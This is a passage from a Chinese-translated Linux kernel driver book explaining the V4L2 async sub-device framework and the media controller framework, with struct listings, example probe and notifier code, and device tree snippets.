v4l2_async_notifier`结构。 两者都在`include/media/v4l2-async.h`中定义,并以某种方式形成 V4L2 异步内核的中心部分。 在进一步介绍之前,我们必须介绍 V4L2 异步框架的核心部分`struct v4l2_async_notifier`,如下所示: - -```sh -struct v4l2_async_notifier { -    const struct v4l2_async_notifier_operations *ops; -    unsigned int num_subdevs; -    unsigned int max_subdevs; -    struct v4l2_async_subdev **subdevs; -    struct v4l2_device *v4l2_dev; -    struct v4l2_subdev *sd; -    struct v4l2_async_notifier *parent; -    struct list_head waiting; -    struct list_head done; -    struct list_head list; -}; -``` - -前述结构主要由桥驱动器和异步内核使用。 但是,在某些情况下,子设备驱动可能需要由某些其他子设备通知。 在这两种情况下,成员的用途和含义都是相同的: - -* `ops`是要由该通知器的所有者提供的一组回调,当探测到在该通知器中等待的子设备时,该回调由异步核心调用。 -* `v4l2_dev`是注册此通告程序的网桥驱动的 V4L2 父级。 -* `sd`,如果此通知器已由子设备注册,则将指向此子设备。 我们在这里不处理这个案例。 -* `subdevs`是应该通知此通知器的注册商(网桥驱动或另一个子设备驱动)的子设备数组。 -* `waiting`是此通告程序中等待探测的子设备的列表。 -* `done`是实际绑定到此通知器的子设备的列表。 -* `num_subdevs`是`**subdevs`中的子设备数。 -* `list`由异步核心在该通知器的注册期间使用,以便将该通知器链接到通知器的全局列表`notifier_list`。 - -回到我们的`struct v4l2_async_subdev`结构,其定义如下: - -```sh -struct v4l2_async_subdev { -    enum v4l2_async_match_type match_type; -    union { -        struct fwnode_handle *fwnode; -        const char *device_name; -        struct { -            int adapter_id; -            unsigned short address; -        } i2c; -        struct { -        bool (*match)(struct device *,                      struct v4l2_async_subdev *); -            void *priv; -        } custom; -    } match; -    /* v4l2-async core private: not to be used by drivers */ -    struct list_head list; -}; -``` - -在 V4L2 异步框架中,上述数据结构是一个子设备。 只有网桥驱动(其分配异步子设备)和异步核心可以使用该结构。 子设备驱动根本不知道这一点。 其成员的含义如下: - -* `match_type` is of the `enum v4l2_async_match_type` type. A match is a comparison of some criteria (occurring **strictly** between a sub-device of the `struct v4l2_subdev` type and an async sub-device of the `struct v4l2_async_subdev` type). Since each `struct v4l2_async_subdev` structure must be associated with its `struct v4l2_subdev` structure, this field specifies the algorithm used by the async core to match both. This field is set by the driver (which is also responsible for allocating asynchronous sub-devices). Possible values are as follows: - - --`V4L2_ASYNC_MATCH_DEVNAME`,指示异步内核使用设备名称进行匹配。 在这种情况下,网桥驱动必须设置`v4l2_async_subdev.match.device_name`字段,以便在探查该子设备时可以匹配子设备设备名称(即`dev_name(v4l2_subdev->dev)`)。 - - --`V4L2_ASYNC_MATCH_FWNODE`,表示异步内核应该使用固件节点进行匹配。 在这种情况下,网桥驱动必须使用与子设备的设备节点相对应的固件节点句柄设置`v4l2_async_subdev.match.fwnode`,以便它们可以匹配。 - - --`V4L2_ASYNC_MATCH_I2C`用于通过检查 I2C 适配器 ID 和地址来执行匹配。 使用此选项时,桥接器驱动器必须同时设置`v4l2_async_subdev.match.i2c.adapter_id`和`v4l2_async_subdev.match.i2c.address`。 这些值将与与`v4l2_subdev.dev`关联的`i2c_client`对象的地址和适配器号进行比较。 - - --`V4L2_ASYNC_MATCH_CUSTOM`是最后一种可能性,表示异步内核应该使用由`v4l2_async_subdev.match.custom.match`中的网桥驱动设置的匹配回调。 如果设置了此标志,并且没有提供自定义匹配回调,则任何匹配尝试都将立即返回 TRUE。 - -* `list`用于将该待探测的异步子设备添加到通知器的等待列表中。 - -子设备注册不再依赖网桥可用性,只需调用`v4l2_async_unregister_subdev()`方法即可。 但是,在注册自身之前,网桥驱动必须执行以下操作: - -1. 分配一个通知器以供以后使用。 最好将此通知器嵌入较大的设备状态数据结构中。 此通知器对象属于`struct v4l2_async_notifier`类型。 -2. Parse its port node(s) and create an async sub-device (`struct v4l2_async_subdev`) for each sensor (or IP block) specified there and that it needs for its operations: - - A)此解析是使用`fwnode`图形 API(旧驱动仍使用`of_graph`API)完成的,如下所示: - - --`fwnode_graph_get_next_endpoint()`(或旧驱动中的`of_graph_get_next_endpoint()`),从网桥的端口子节点中获取端点的`fw_handle`(或旧驱动中的`of_node`)。 - - --`fwnode_graph_get_remote_port_parent()`(或旧驱动中的`of_graph_get_remote_port_parent()`),以获取与当前端点的远程端口的父级相对应的`fw_handle`(或旧驱动中的设备的`of_node`)。 - - 可选地(在使用 OF API 的旧驱动中)使用`of_fwnode_handle()`,以便将在先前状态中抓取的`of_node`转换为`fw_handle`。 - - B)根据应该使用的匹配逻辑设置当前的异步子设备。 它应该设置`v4l2_async_subdev.match_type`和`v4l2_async_subdev.match`成员。 - - C)将该异步子设备添加到通知器的异步子设备列表中。 从内核的 4.20 版开始,有一个帮助器`v4l2_async_notifier_add_subdev()`,允许您执行此操作。 - -3. 使用`v4l2_async_notifier_register(&big_struct->v4l2_dev, &big_struct->notifier)`调用注册通知器对象(此通知器将存储在`drivers/media/v4l2-core/v4l2-async.c`中定义的全局`notifier_list`列表中)。 要取消注册通知器,驱动必须调用`v4l2_async_notifier_unregister(&big_struct->notifier)`。 - -当网桥驱动调用`v4l2_async_notifier_register()`时,异步内核在`notifier->subdevs`数组中的异步子设备上迭代。 对于内部的每个异步子设备,内核检查此`asd->match_type`值是否为`V4L2_ASYNC_MATCH_FWNODE`。 如果适用,异步内核通过比较 fwnode 来确保`asd`不在`notifier->waiting`列表或`notifier->done`列表中。 这提供了保证`asd`尚未为`fwnode`设置,并且它还不存在于给定的通知器中。 如果`asd`未知,则将其添加到`notifier->waiting`。 在此之后,异步核心将测试`notifier->waiting`列表中的所有异步子设备是否与`subdev_list`中存在的所有子设备匹配,`subdev_list`是在桥驱动之前注册的孤儿子设备的列表(因此在其通知器之前)。 异步内核为此使用每个电流`asd`的`asd->match`值。 如果匹配(`asd->match`回调返回 TRUE),则当前异步子设备(来自`notifier->waiting`)和当前子设备(来自`subdev_list`)将被绑定,异步子设备将从`notifier->waiting`列表中移除,子设备将使用`v4l2_device_register_subdev()`向 V4L2 内核注册,子设备将从全局`subdev_list`列表移至`notifier->done`列表。 - -最后,正在注册的实际通知器将被添加到通知器的全局列表`notifier_list`,以便以后每当向异步核心注册新子设备时都可以将其用于匹配尝试。 - -重要音符 - -可以从前面的匹配和绑定逻辑描述中猜测当子设备驱动调用`v4l2_async_register_subdev()`时异步内核会做什么。 有效地,在该调用之后,异步核心将尝试将当前子设备与在`notifier_list`全局列表中存在的每个通知器中等待的所有异步子设备进行匹配。 如果没有匹配,则意味着该子设备的网桥尚未被探测,并且该子设备被添加到子设备的全局列表`subdev_list`。 如果匹配,该子设备将根本不会添加到此列表中。 - -请记住,匹配测试是一些标准的比较,严格地在`struct v4l2_subdev`类型的子设备和`struct v4l2_async_subdev`类型的异步子设备之间进行。 - -在前面的参数图中,我们说了异步子设备和子设备是绑定的。 但这意味着什么呢? 这就是`notifier->ops`成员进入画面的地方。 它属于`struct v4l2_async_notifier_operations`类型,定义如下: - -```sh -struct v4l2_async_notifier_operations { -    int (*bound)(struct v4l2_async_notifier *notifier, -                  struct v4l2_subdev *subdev, -                  struct v4l2_async_subdev *asd); -    int (*complete)(struct v4l2_async_notifier *notifier); -    void (*unbind)(struct v4l2_async_notifier *notifier, -                    struct v4l2_subdev *subdev, -                    struct v4l2_async_subdev *asd); -}; -``` - -以下是此结构中每个回调的含义,尽管所有三个回调都是可选的: - -* `bound`:如果设置,则异步核心将调用此回调,以响应其(子设备)驱动成功的子设备探测。 这还意味着异步子设备已成功匹配该子设备。 此回调将发起匹配的通知器以及匹配的子设备(`subdev`)和异步子设备(`asd`)作为参数。 大多数驱动只需在此处打印调试消息。 但是,您可以在此处的子设备(即`v4l2_subdev_call()`)上执行其他设置。 如果一切正常,它应该返回一个正值;否则,该子设备将被取消注册。 -* 从系统中删除子设备时调用`unbind`。 除了在此处打印调试消息外,如果未绑定子设备是视频设备正常工作的必要条件(即`video_unregister_device()`),则网桥驱动必须注销该视频设备。 -* 当通知器中不再有异步子设备等待时,调用`complete`。 异步核心可以检测到`notifier->waiting`列表何时为空(这意味着子设备已被成功探测并全部移入`notifier->done`列表)。 仅对根通知器执行完整的回调。 已注册通知器的子设备将不会调用其`.complete`回调。 根通知器通常是由网桥设备注册的根通知器。 - -因此,毫无疑问,在注册通告程序对象之前,桥驱动必须设置通告程序的`ops`成员。 对我们来说最重要的回调是`.complete`。 - -虽然您可以从网桥驱动的`probe`函数中调用`v4l2_device_register()`,但通常的做法是从`notifier.complete`回调中注册实际的视频设备,因为所有子设备都会被注册,而`/dev/videoX`的存在意味着它实际上是可用的。 `.complete`回调也适用于通过`v4l2_device_register_subdev_nodes()`和`media_device_register()`注册实际视频设备的子节点和注册媒体设备。 - -请注意,`v4l2_device_register_subdev_nodes()`将为每个标有`V4L2_SUBDEV_FL_HAS_DEVNODE`标志的`subdev`对象 ct 创建一个设备节点(实际上是`/dev/v4l2-subdevX`)。 - -### 异步网桥和子设备探测示例 - -我们将通过一个简单的用例来介绍这部分。 请考虑以下配置: - -* 一个网桥设备(我们的 CSI 控制器)-假设是`omap`ISP,其名称为`foo`。 -* One off-chip sub-device, the camera sensor, with `bar` as its name. - - 两者都是这样连接的:`CSI <-- Camera Sensor`。 - -在`bar`驱动中,我们可以按如下方式注册异步子设备: - -```sh -static int bar_probe(struct device *dev) -{ -    int ret; -    ret = v4l2_async_register_subdev(subdev); -    if (ret) { -        dev_err(dev, "ouch\n"); -        return -ENODEV; -    } -    return 0; -} -``` - -`foo`驱动器的`probe`功能可以如下所示: - -```sh -/* struct foo_device */ -struct foo_device { -    struct media_device mdev; -    struct v4l2_device v4l2_dev; -    struct video_device *vdev; -    struct v4l2_async_notifier notifier; -    struct *subdevs[FOO_MAX_SUBDEVS]; -}; -/* foo_probe() */ -static int foo_probe(struct device *dev) -{ -    struct foo_device *foo = kmalloc(sizeof(*foo)); -    media_device_init(&bar->mdev); -    foo->dev = dev; -    foo->notifier.subdevs = kcalloc(FOO_MAX_SUBDEVS, -                             sizeof(struct v4l2_async_subdev)); -    foo_parse_nodes(foo); -    foo->notifier.bound = foo_bound; -    foo->notifier.complete = foo_complete; -    return -        v4l2_async_notifier_register(&foo->v4l2_dev,                                      &foo->notifier); -} -``` - -在下面的代码中,我们实现了`foo`fwnode(或`of_node`)解析器帮助器`foo_parse_nodes()`: - -```sh -struct foo_async { -    struct v4l2_async_subdev asd; -    struct v4l2_subdev *sd; -}; -/* Either */ -static void foo_parse_nodes(struct device *dev, -                            struct v4l2_async_notifier *n) -{ -    struct device_node *node = NULL; -    while ((node = of_graph_get_next_endpoint(dev->of_node,                                               node))) { -        struct foo_async *fa = kmalloc(sizeof(*fa)); -        n->subdevs[n->num_subdevs++] = &fa->asd; -        fa->asd.match.of.node =         of_graph_get_remote_port_parent(node); -        fa->asd.match_type = V4L2_ASYNC_MATCH_OF; -    } -} -/* Or */ -static void foo_parse_nodes(struct device *dev, -                            struct v4l2_async_notifier *n) -{ -    struct fwnode_handle *fwnode = dev_fwnode(dev); -    struct fwnode_handle *ep = NULL; -    while ((ep = fwnode_graph_get_next_endpoint(ep, fwnode))) { -        struct foo_async *fa = kmalloc(sizeof(*fa)); -        n->subdevs[n->num_subdevs++] = &fa->asd; -        fa->asd.match.fwnode = -                fwnode_graph_get_remote_port_parent(ep); -        fa->asd.match_type = V4L2_ASYNC_MATCH_FWNODE; -    } -} -``` - -在前面的代码中,已经使用了`of_graph_get_next_endpoint()`和`fwnode_graph_get_next_endpoint()`来说明如何使用这两个代码。 也就是说,您最好使用 fwnode 版本,因为它更通用。 - -同时,我们需要编写`foo`的通知程序操作,如下所示: - -```sh -/* foo_bound() and foo_complete() */ -static int foo_bound(struct v4l2_async_notifier *n, -                struct v4l2_subdev *sd,                 struct v4l2_async_subdev *asd) -{ -    struct foo_async *fa = container_of(asd, struct bar_async,                                         asd); -    /* One can use subdev_call here */ -    [...] -    fa->sd = sd; -} -static int foo_complete(struct v4l2_async_notifier *n) -{ -    struct foo_device *foo = -             container_of(n, struct foo_async, notifier); -    struct v4l2_device *v4l2_dev = &isp->v4l2_dev; -    /* Create /dev/sub-devX if applicable */ -    v4l2_device_register_subdev_nodes(&foo->v4l2_dev); -    /* setup the video device: fops, queue, ioctls ... */ -[...] -    /* Register the video device */ -       ret = video_register_device(foo->vdev,                                    VFL_TYPE_GRABBER, -1); -    /* Register with the media controller framework */ -    return media_device_register(&bar->mdev); -} -``` - -在设备树中,V4L2 网桥设备可以声明如下: - -```sh -csi1: csi@1cb4000 { -    compatible = "allwinner,sun8i-v3s-csi"; -    reg = <0x01cb4000 0x1000>; -    interrupts = ; -    /* we omit clock and others */ -[...] -    port { -        csi1_ep: endpoint { -            remote-endpoint = <&ov7740_ep>; -           /* We omit v4l2 related properties */ -[...] -        }; -    }; -}; -``` - -可以如下声明来自 I2C 控制器节点内的摄像机节点: - -```sh -&i2c1 { -    #address-cells = <1>; -    #size-cells = <0>; -    ov7740: camera@21 { -        compatible = "ovti,ov7740"; -        reg = <0x21>; -        /* We omit clock or pincontrol or everything else */ - -       [...] -       port { -           ov7740_ep: endpoint { -               remote-endpoint = <&csi1_ep>; -               /* We omit v4l2 related properties */ -               [...] -           }; -       }; -   }; -}; -``` - -现在我们熟悉了 V4L2 异步框架,并且我们已经看到了异步子设备注册如何简化探测和代码。 我们以一个具体的例子结束,它突出了我们讨论的每一个方面。 现在,我们可以继续前进并与媒体控制器框架集成,这是我们可以添加到 V4L2 驱动的最后一项改进。 - -# Linux 媒体控制器框架 - -媒体设备非常复杂,涉及 SoC 的几个 IP 块,因此需要视频流(重新)路由。 - -现在,让我们考虑这样一个情况,其中我们有一个更复杂的 SoC,它由另外两个片上子设备组成-比方说一个大小调节器和一个图像转换器,称为`baz`和`biz`。 - -在*V4L2 Async*部分的上一个示例中,设置由一个桥接设备和一个子设备(片外并不重要)组成,即摄像机传感器。 这是相当直截了当的。 幸运的是,事情奏效了。 但是,如果我们现在必须通过图像转换器或图像大小调整器路由流,甚至通过这两个 IP 怎么办? 或者,假设我们必须(动态)从一个切换到另一个? - -我们可以通过`sysfs`或`ioctls`来实现这一点,但这会有以下问题: - -* 它会太难看(毫无疑问),而且可能会有问题。 -* 那太难了(很多工作)。 -* 它将严重依赖于 SoC 供应商,可能会有大量代码重复,没有统一的用户空间 API 和 ABI,驱动之间也没有一致性。 -* 这不是一个非常可信的解决方案。 - -许多 SoC 可以重新路由内部视频流-例如,从传感器捕获它们并执行内存到内存大小调整,或者将传感器输出直接发送到大小调节器。 由于 V4L2API 不支持这些高级设备,因此 SoC 制造商制作了自己的定制驱动。 然而,V4L2 无疑是用于捕获图像的 Linux API,有时还用于特定的显示设备(这些设备是 mem2mem 设备)。 - -很明显,我们 n 需要另一个覆盖 V4L2 限制的子系统和框架。 Linux 媒体控制器框架就是这样诞生的。 - -## 媒体控制器抽象模型 - -发现设备的内部拓扑并在运行时对其进行配置是媒体框架的目标之一。 为了实现这一点,它附带了一层抽象层。 利用媒体控制器框架,硬件设备通过由其**焊盘**经由**链路**连接的**实体**构成的有向图来表示。 这组元素组合在一起形成了所谓的**媒体设备**。 源焊盘只能生成数据。 - -前面的简短描述值得注意。 有三个高亮显示的词非常重要:Entity、Pad 和 LINK: - -* **实体**由`include/media/media-entity.h`中定义的`struct media_entity`实例表示。 尽管驱动可以直接分配实体,但该结构通常嵌入到更高级别的结构中,例如`v4l2_subdev`或`video_device`实例。 -* **焊盘**是实体与外部世界的接口。 这些是媒体实体的输入和输出可连接点。 但是,焊盘可以是输入(接收器焊盘)或输出(源焊盘),但不能同时是两者。 数据流从一个实体的源垫流向另一个实体的汇垫。 通常,传感器或视频解码器等设备只有一个输出垫,因为它只将视频送入系统,而`/dev/videoX`垫将被建模为输入垫,因为它是流的末尾。 -* **链接**:可以通过媒体设备设置、获取和枚举这些链接。 驱动正常工作的应用负责正确设置链接,以便驱动了解视频数据的源和目的地。 - -系统上的所有实体,连同它们的焊盘和它们之间的连接链路,给出了如下图所示的**媒体设备**: - -![Figure 8.1 – Media controller abstraction model ](img/Figure_8.1_B10985.jpg) - -图 8.1-媒体控制器抽象模型 - -在上图中,**Stream**将是`/dev/videoX`Charr 设备的等价物,因为它是流的末尾。 - -### V4L2 设备抽象 - -在更高的级别上,媒体控制器使用`struct media_device`来抽象 V4L2 框架中的`struct v4l2_device`。 也就是说,`struct media_device`对于媒体控制器就像`struct v4l2_device`对于 V4L2 一样,会吞噬其他较低级别的结构。 回到`struct v4l2_device`,媒体控制器框架使用`mdev`成员来抽象该结构。 以下内容摘录如下: - -```sh -struct v4l2_device { -[...] -    struct media_device *mdev; -[...] -}; -``` - -然而,从媒体控制器的角度来看,V4L2 视频设备和子设备都被视为媒体实体,在此框架中表示为`struct media_entity`的实例。 很明显,视频设备和子设备数据结构嵌入了这种类型的成员,如以下摘录所示: - -```sh -struct video_device -{ -#if defined(CONFIG_MEDIA_CONTROLLER) -    struct media_entity entity; -    struct media_intf_devnode *intf_devnode; -    struct media_pipeline pipe; -#endif -[...] -}; -struct v4l2_subdev { -#if defined(CONFIG_MEDIA_CONTROLLER) -    struct media_entity entity; -#endif -[...] -}; -``` - -视频设备具有附加成员`intf_devnode`和`pipe`。 前者为`struct media_intf_devnode`类型,表示到视频设备节点的媒体控制器接口。 此结构使媒体控制器能够访问底层视频设备节点的信息,例如其主要和次要编号。 另一个附加成员`pipe`,wh 是`struct media_pipeline`类型,存储与该视频设备的流水线相关的 ES 信息。 - -媒体控制器数据结构 - -媒体控制器框架基于几个数据结构,其中是`struct media_device`结构,它位于层次结构的顶部,定义如下: - -```sh -struct media_device { -    /* dev->driver_data points to this struct. */ -    struct device *dev; -    struct media_devnode *devnode; -    char model[32]; -    char driver_name[32]; -[...] -    char serial[40]; -    u32 hw_revision; -    u64 topology_version; -    struct list_head entities; -    struct list_head pads; -    struct list_head links; -    struct list_head entity_notify; -    struct mutex graph_mutex; -[...] -    const struct media_device_ops *ops; -}; -``` - -该结构表示高级媒体设备。 它允许轻松访问实体,并提供基本的媒体设备级支持: - -* `dev`是此媒体设备的父设备(通常是`&pci_dev`、`&usb_interface`或`&platform_device`实例)。 -* `devnode`是媒体设备节点,抽象了底层的`/dev/mediaX`。 -* `driver_name`是可选但建议使用的字段,表示介质设备驱动名称。 如果未设置,则默认为`dev->driver->name`。 -* `model`是此媒体设备的型号名称。 它不一定是独一无二的。 -* `serial`是应使用设备序列号设置的可选成员。 `hw_revision`是此媒体设备的硬件设备修订版。 -* `topology_version`:用于存储图形拓扑版本的单调计数器。 应在每次拓扑更改时递增。 -* `entities`是已注册实体的列表。 -* `pads`是向该媒体设备注册的焊盘列表。 -* `links`是注册到此媒体设备的链接列表。 -* `entity_notify`是向此媒体设备注册新实体时调用的通知回调列表。 驱动可以注册此回调以通过`media_device_unregister_entity_notify()`采取操作,并使用`media_device_register_entity_notify()`取消注册。 注册新实体时,将调用所有已注册的`media_entity_notify`回调。 -* `graph_mutex`:保护对`struct media_device`数据的访问。 例如,在使用`media_graph_*`族函数时,应该保持。 -* `ops`属于`struct media_device_ops`类型,表示此媒体设备的操作处理程序回调。 - -除了由媒体控制器框架操纵之外,`struct media_device`基本上用在网桥驱动中,在那里它被初始化和注册。 也就是说,媒体设备本身是由几个实体组成的。 这一实体概念允许媒体控制器在涉及现代和复杂的 V4L2 驱动时成为中心权威,这些驱动还可以同时支持帧缓冲器、ALSA、I2C、LIRC 和/或 DVB 设备,并用于通知用户空间什么是什么。 - -媒体实体表示为`struct media_entity`的实例,在`include/media/media-entity.h`中定义如下: - -```sh -struct media_entity { -    struct media_gobj graph_obj; -    const char *name; -    enum media_entity_type obj_type; -    u32 function; -    unsigned long flags; -    u16 num_pads; -    u16 num_links; -    u16 num_backlinks; -    int internal_idx; -    struct media_pad *pads; -    struct list_head links; -    const struct media_entity_operations *ops; -    int stream_count; -    int use_count; -    struct media_pipeline *pipe; -[...] -}; -``` - -就层次而言,这是媒体框架中的第二个数据结构。 前面的定义已经缩小到我们感兴趣的最低限度。 以下是该结构中各成员的含义: - -* `name`是此实体的名称。 它应该足够有意义,因为它是通过`media-ctl`工具在用户空间中使用的。 -* `type` is most of the time set by the core depending on the type of V4L2 video data structure this struct is embedded in. It is the type of the object that implements `media_entity` – for example, set with `MEDIA_ENTITY_TYPE_V4L2_SUBDEV` at the sub-device initialization by the core. This allows runtime type identification of media entities and safe casting to the correct object type using the `container_of` macro, for instance. Possible values are as follows: - - --`MEDIA_ENTITY_TYPE_BASE`:这意味着实体没有嵌入到另一个实体中。 - - --`MEDIA_ENTITY_TYPE_VIDEO_DEVICE`:表示实体嵌入在`struct video_device`实例中。 - - --`MEDIA_ENTITY_TYPE_V4L2_SUBDEV`:这表示实体嵌入在`struct v4l2_subdev`实例中。 - -* `function` represents the entity's main function. This must be set by the driver according to the value defined in `include/uapi/linux/media.h`. The following are commonly used values while dealing with video devices: - - --`MEDIA_ENT_F_IO_V4L`:该标志表示该实体是数据流输入和/或输出实体。 - - --`MEDIA_ENT_F_CAM_SENSOR`:该标志表示该实体为摄像机视频传感器实体。 - - --`MEDIA_ENT_F_PROC_VIDEO_SCALER`:表示该实体可以进行视频伸缩。 这些实体至少有一个接收垫(在活动实体上)和一个源垫(它们在其中输出缩放的帧),它们从那里接收帧(一个或多个)。 - - --`MEDIA_ENT_F_PROC_VIDEO_ENCODER`:表示该实体可以压缩视频。 这些实体必须有一个接收器焊盘和至少一个源焊盘。 - - --`MEDIA_ENT_F_VID_MUX`:用于视频多路复用器。 该实体具有至少两个信宿焊盘和一个信源焊盘,并且必须将从活动的信宿焊盘接收的视频帧传递到信源焊盘。 - - --`MEDIA_ENT_F_VID_IF_BRIDGE`:视频接口桥。 视频接口桥实体应至少具有一个宿焊盘和一个源焊盘。 它在其接收板上从一种类型的输入视频总线(HDMI、EDP、MIPI CSI-2 等)接收视频帧,并在其源板上将其输出到另一种类型的输出视频总线(EDP、MIPI CSI-2、并行等)。 - -* `flags`由驾驶员设置。 它表示此实体的标志。 可能的值是`include/uapi/linux/media.h`中定义的`MEDIA_ENT_FL_*`标志族。 以下链接可能有助于您了解可能的值:[https://linuxtv.org/downloads/v4l-dvb-apis/userspace-api/mediactl/media-types.html](https://linuxtv.org/downloads/v4l-dvb-apis/userspace-api/mediactl/media-types.html)。 -* `function`表示此实体的功能,默认情况下为`MEDIA_ENT_F_V4L2_SUBDEV_UNKNOWN`。 可能的值是`include/uapi/linux/media.h`中定义的`MEDIA_ENT_F_*`函数族。 例如,摄像机传感器子设备驱动必须包含`sd->entity.function = MEDIA_ENT_F_CAM_SENSOR;`。 您可以通过此链接查找有关可能适合您的媒体实体的详细信息:https://linuxtv.org/downloads/v4l-dvb-apis/uapi/mediactl/media-types.html. -* `num_pads`是此实体(接收器和源)的焊盘总数。 -* `num_links`是该实体的链接总数(前向、后向、启用和禁用) -* `num_backlinks`是该实体的反向链接数。 反向链接用于帮助图形遍历,不会报告给用户空间。 -* `internal_idx`:实体注册时由媒体控制器核心分配的唯一实体编号。 -* `pads`是该实体的焊盘数组。 其大小由`num_pads`定义。 -* `links`是该实体的数据链表。 请参见`media_add_link()`。 -* `ops`属于`media_entity_operations`类型,表示此实体的操作。 这个结构将在后面讨论。 -* `stream_count`:实体的流计数。 -* `use_count`:实体的使用计数。 用于电源管理目的。 -* `pipe`是此实体所属的媒体管道。 - -当然,我们要引入的下一个数据结构似乎很明显是`struct media_pad`结构,它表示该框架中的一个垫子。 PAD 是实体可以通过其与其他实体交互的连接端点。 实体产生的数据(不限于视频)从实体的输出流向一个或多个实体输入。 焊盘不应与芯片边界处的物理引脚混淆。 `struct media_pad`定义如下: - -```sh -struct media_pad { -[...] -    struct media_entity *entity; -    u16 index; -    unsigned long flags; -}; -``` - -焊盘由其实体及其实体的焊盘阵列中从 0 开始的`index`标识。 在`flags`字段中,可以设置`MEDIA_PAD_FL_SINK`(表示焊盘支持接收数据)或`MEDIA_PAD_FL_SOURCE`(表示焊盘支持源数据),但不能同时设置两者,因为焊盘不能同时接收和发送数据。 - -焊盘应该绑定在一起以允许数据流路径。 来自同一实体或来自不同实体的两个焊盘通过称为链路的点对点定向连接被绑定在一起。 链接在媒体框架中表示为`struct media_link`的实例,定义如下: - -```sh -struct media_link { -    struct media_gobj graph_obj; -    struct list_head list; -[...] -    struct media_pad *source; -    struct media_pad *sink; -[...] -    struct media_link *reverse; -    unsigned long flags; -    bool is_backlink; -}; -``` - -在前面的代码块中,出于可读性的考虑,只列出了几个字段。 以下是这些字段的含义: - -* `list`:用于将此链接与拥有该链接的实体或接口相关联。 -* `source`:此链接的来源。 -* `sink`:链接目标。 -* `flags`: Represents the link flags, as defined in `uapi/media.h` (with the `MEDIA_LNK_FL_*` pattern). The following are the possible values: - - --`MEDIA_LNK_FL_ENABLED`:该标志表示链路处于启用状态,可以进行数据传输。 - - --`MEDIA_LNK_FL_IMMUTABLE`:该标志表示运行时不能修改链路启用状态。 - - --`MEDIA_LNK_FL_DYNAMIC`:该标志表示可以在流媒体过程中修改链路状态。 但是,此标志由驱动设置,但对于应用是只读的。 - -* `reverse`:指向焊盘到焊盘链接的反向链接(实际上是反向链接)的指针。 -* `is_backlink`:指示此链接是否为反向链接。 - -每个实体都有一个列表,该列表指向始发于或指向其任何焊盘的所有链接。 因此,给定链接被存储两次,一次在源实体中,一次在目标实体中。 当您想要将`A`链接到`B`时,实际上会创建两条链接: - -* 一个对应于预期的链接;链接存储在源实体中,并且源实体的`num_links`字段递增。 -* 另一个存储在宿实体中。 接收器和源保持不变,不同之处在于将`is_backlink`成员设置为`true`。 这与您创建的链接相反。 接收器实体的`num_backlinks`和`num_links`字段将递增。 然后将此反向链接分配给原始链接的`reverse`成员。 - -最后,`mdev->topology_version`成员递增两次。 这种链接和反向链接的原理允许媒体控制器计算实体,以及实体之间的 p 可能链接和当前链接,如下图所示: - -![Figure 8.2 – Media controller entity description ](img/Figure_8.2_B10985.jpg) - -图 8.2-媒体控制器实体描述 - -在上图中,如果我们考虑**Entity-1**和**Entity-2**,那么**链路**和**反向链路**本质上是相同的,只是**链路**属于**Entity-1**,**反向链路**属于**Entity-2**。 然后,您应该将反向链路视为备用链路。 我们可以看到,实体既可以是接收器,也可以是源,或者两者兼而有之。 - -我们到目前为止介绍的数据结构可能会让媒体控制器框架听起来有点吓人。 然而,这些数据结构中的大多数将由框架通过其提供的 API 在幕后管理。 也就是说,可以在内核源代码的`Documentation/media-framework.txt`中找到完整框架的文档。 - -## 在驱动中集成媒体控制器支持 - -当需要介质控制器的支持时,V4L2 驱动器必须首先使用`media_device_init()`函数在`struct v4l2_device`内初始化`struct media_device`。 每个实体驱动必须使用`media_entity_pads_init()`函数初始化其实体(实际上是`video_device->entity`或`v4l2_subdev->entity`)及其焊盘阵列,如果需要,使用`media_create_pad_link()`创建焊盘到焊盘的链接。 在此之后,可以注册实体。 但是,V4L2 框架将通过`v4l2_device_register_subdev()`或`video_register_device()`方法为您处理此注册。 在这两种情况下,调用的底层注册函数都是`media_device_register_entity()`。 - -作为最后一步,必须使用`media_device_register()`注册媒体设备。 值得一提的是,媒体设备注册应该推迟到将来,当我们确定每个子设备(或者我应该说实体)都已注册并准备好使用时。 在根通知器的`.complete`回调中注册媒体设备绝对是一种 KES 意义。 - -### 初始化和注册焊盘和实体 - -使用相同的函数来初始化实体和其焊盘阵列: - -```sh -int media_entity_pads_init(struct media_entity *entity, -                         u16 num_pads, struct media_pad *pads); -``` - -在前面的原型中,`*entity`是要注册的焊盘所属的实体,`*pads`是要注册的焊盘阵列,`num_pads`是阵列中应该注册的实体的数量。 在调用以下命令之前,驱动必须已设置焊盘阵列中每个焊盘的类型: - -```sh -struct mydrv_state_struct { -    struct v4l2_subdev sd; -    struct media_pad pad; -[...] -}; -static int my_probe(struct i2c_client *client, -                     const struct i2c_device_id *id) -{ -    struct v4l2_subdev *sd; -    struct mydrv_state_struct *my_struct; -[...] -    sd = &my_struct->sd; -    my_struct->pad.flags = MEDIA_PAD_FL_SINK | -                            MEDIA_PAD_FL_MUST_CONNECT; -    ret = media_entity_pads_init(&sd->entity, 1,                                  &my_struct->pad); -[...] -    return 0; -} -``` - -需要注销实体的驱动必须对要注销的实体调用以下函数: - -```sh -media_device_unregister_entity(struct media_entity *entity); -``` - -然后,为了让驱动释放与实体关联的资源,它应该调用以下代码: - -```sh -media_entity_cleanup(struct media_entity *entity); -``` - -当媒体设备取消注册时,其所有实体将自动取消注册。 然后,不需要注销手动实体。 - -### 媒体实体运营 - -实体可以被提供个与链接相关的回调,使得媒体框架可以在链接创建和验证时调用这些回调: - -```sh -struct media_entity_operations { -    int (*get_fwnode_pad)(struct fwnode_endpoint *endpoint); -    int (*link_setup)(struct media_entity *entity, -                      const struct media_pad *local, -                      const struct media_pad *remote,                       u32 flags); -    int (*link_validate)(struct media_link *link); -}; -``` - -提供上述结构是可选的。 但是,可能存在需要在链路设置或链路验证时执行或检查附加内容的情况。 在这种情况下,请注意以下说明: - -* `get_fwnode_pad`:根据 fwnode 端点或错误时的负值返回焊盘编号。 此操作可用于将 fwnode 映射到媒体垫编号(可选)。 -* `link_setup`:通知实体链接更改。 此操作可能返回错误,在这种情况下,链路设置将被取消(可选)。 -* `link_validate`:从实体的角度返回链接是否有效。 `media_pipeline_start()`函数通过调用此操作来验证此实体所涉及的所有链接。 此成员是可选的。 但是,如果尚未设置,则`v4l2_subdev_link_validate_default`将使用 d 作为默认回调函数,以确保源焊盘和宿焊盘的 WID、高度和媒体总线像素代码一致;否则,将返回错误。 - -### 媒体总线的概念 - -媒体框架的主要目的是配置和控制管道及其实体。 摄像机和解码器等视频子设备通过专用总线连接到视频桥或其他子设备。 数据正以各种格式在这些总线上传输。 